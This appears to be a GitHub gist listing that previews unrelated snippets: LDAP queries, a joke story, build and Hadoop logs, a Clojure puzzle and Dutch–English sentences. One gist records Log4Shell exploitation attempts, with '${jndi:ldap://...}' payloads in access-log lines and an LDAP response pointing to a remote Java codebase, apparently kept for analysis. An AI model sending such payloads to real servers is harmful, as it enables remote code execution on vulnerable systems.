Skip to content

Instantly share code, notes, and snippets.

View ekoontz's full-sized avatar

Eugene Koontz ekoontz

View GitHub Profile
@ekoontz
ekoontz / gist:5130762
Created March 10, 2013 22:21
working with ldap admin tools
[root@centos1 ~]# ldapsearch -h localhost -D "cn=Manager,dc=openiam,dc=org" -w foobar -s sub "(&(objectClass=posixGroup)(cn=hdfs))"
# extended LDIF
#
# LDAPv3
# base <dc=openiam,dc=org> (default) with scope subtree
# filter: (&(objectClass=posixGroup)(cn=hdfs))
# requesting: ALL
#
# hdfs, Group, openiam.org
Bob could not do the vulcan salute. Ever since he was a child he had tried and failed.
Some kids could easily do it, but not poor old Bob. "How do they do it?" wondered Bob.
He thought it must be very hard. "Indeed, it is very hard to do", thought Bob.
One day, he saw a tube at a bike shop. The tube had "Vulcanizing Solution" written on it.
"Wow, finally a solution to how do to the vulcan salute!" thought Bob.
With one hand, he squeezed the tube on
his fingers of the other hand. He applied it on his pinky and ring finger on the area between them, and
did the same for his middle and index fingers. It worked - his fingers were stuck together in the right
way and and he was doing the vulcan salute! He thought it would be harder to do, but as it
turns out, it's easy once you know the "Vulcanizing Solution"!
% curl ldap://31.131.16.127:1389/
DN:
objectClass: top
objectClass: ds-root-dse
DN:
javaClassName: foo
javaCodeBase: http://137.184.174.180:8082/
46.105.95.220 - - [16/Dec/2021:21:06:01 +0000] "GET /${jndi:ldap://31.131.16.127:1389/Exploit} HTTP/1.1" 301 597 "-" "Mozilla/5.0 (platform; rv:geckovers
ion) Gecko/geckotrail Firefox/firefox"
46.105.95.220 - - [16/Dec/2021:21:06:01 +0000] "GET / HTTP/1.1" 301 509 "-" "${jndi:ldap://31.131.16.127:1389/Exploit}"
46.105.95.220 - - [16/Dec/2021:21:06:01 +0000] "POST /login HTTP/1.1" 301 519 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firef
ox"
46.105.95.220 - - [16/Dec/2021:21:06:01 +0000] "GET / HTTP/1.1" 301 509 "-" "curl/7.58.0"
version: "3.9"
services:
db:
image: mysql:5.7
platform: linux/amd64
volumes:
- db_data:/var/lib/mysql
restart: always
environment:
;; Problem
;;
;; Given 4 numbers: [1 3 4 6] and 4 operators [+ - * /],
;; Find an expression: n1 o1 n2 o2 n3 o3 n4 where:
;; - n1,n2,n3,n4 is a permutation of those 4 numbers
;; - o2,o3,o4 each are a member of the operators.
;; - the result of that expression is 24.
;;
;; For example, in:
;; in the expression: 6 + 4 - 3 + 1
❯ mvn verify
[INFO] Scanning for projects...
[INFO]
[INFO] ------------------< com.amazonaws:aws-sam-java-rest >-------------------
[INFO] Building A sample REST application built on SAM and DynamoDB 1.0.0
[INFO] --------------------------------[ jar ]---------------------------------
[INFO]
[INFO] --- maven-enforcer-plugin:3.0.0-M2:enforce (enforce) @ aws-sam-java-rest ---
[INFO]
[INFO] --- maven-checkstyle-plugin:3.0.0:check (validate) @ aws-sam-java-rest ---
@ekoontz
ekoontz / gist:2565588
Created May 1, 2012 06:29
Error: org.apache.hadoop.mapreduce.task.reduce.Shuffle$ShuffleError: error in shuffle in fetcher#4: out of memory
12/05/01 06:25:23 INFO mapreduce.Job: map 100% reduce 21%
12/05/01 06:25:32 INFO mapreduce.Job: map 100% reduce 22%
12/05/01 06:25:38 INFO mapreduce.Job: map 100% reduce 23%
12/05/01 06:25:47 INFO mapreduce.Job: map 100% reduce 24%
12/05/01 06:25:56 INFO mapreduce.Job: map 100% reduce 25%
12/05/01 06:26:05 INFO mapreduce.Job: map 100% reduce 26%
12/05/01 06:26:17 INFO mapreduce.Job: map 100% reduce 28%
12/05/01 06:26:24 INFO mapreduce.Job: Task Id : attempt_1335850539136_0004_r_000000_0, Status : FAILED
Error: org.apache.hadoop.mapreduce.task.reduce.Shuffle$ShuffleError: error in shuffle in fetcher#4
at org.apache.hadoop.mapreduce.task.reduce.Shuffle.run(Shuffle.java:123)
:jvm-opts [;; https://stackoverflow.com/questions/18447995/postgresql-9-2-jdbc-driver-uses-client-time-zone
"-Duser.timezone=America/Los_Angeles"]
Hun zeven en zestig uitgebrokene kittens.|
|Their sixty seven escaped kittens.
Die vijf en veertig bedroefde jassen.|
|Those forty five sad coats.
Zijn vier en deertig vieze opleidingen.|
|His thirty four dirty educations.
Die zeven en deertig nieuwsgierige moeders.|
|Those thirty seven curious mothers.
Wat negen en vijftig ware heren.|
|Some fifty nine true gentlemen.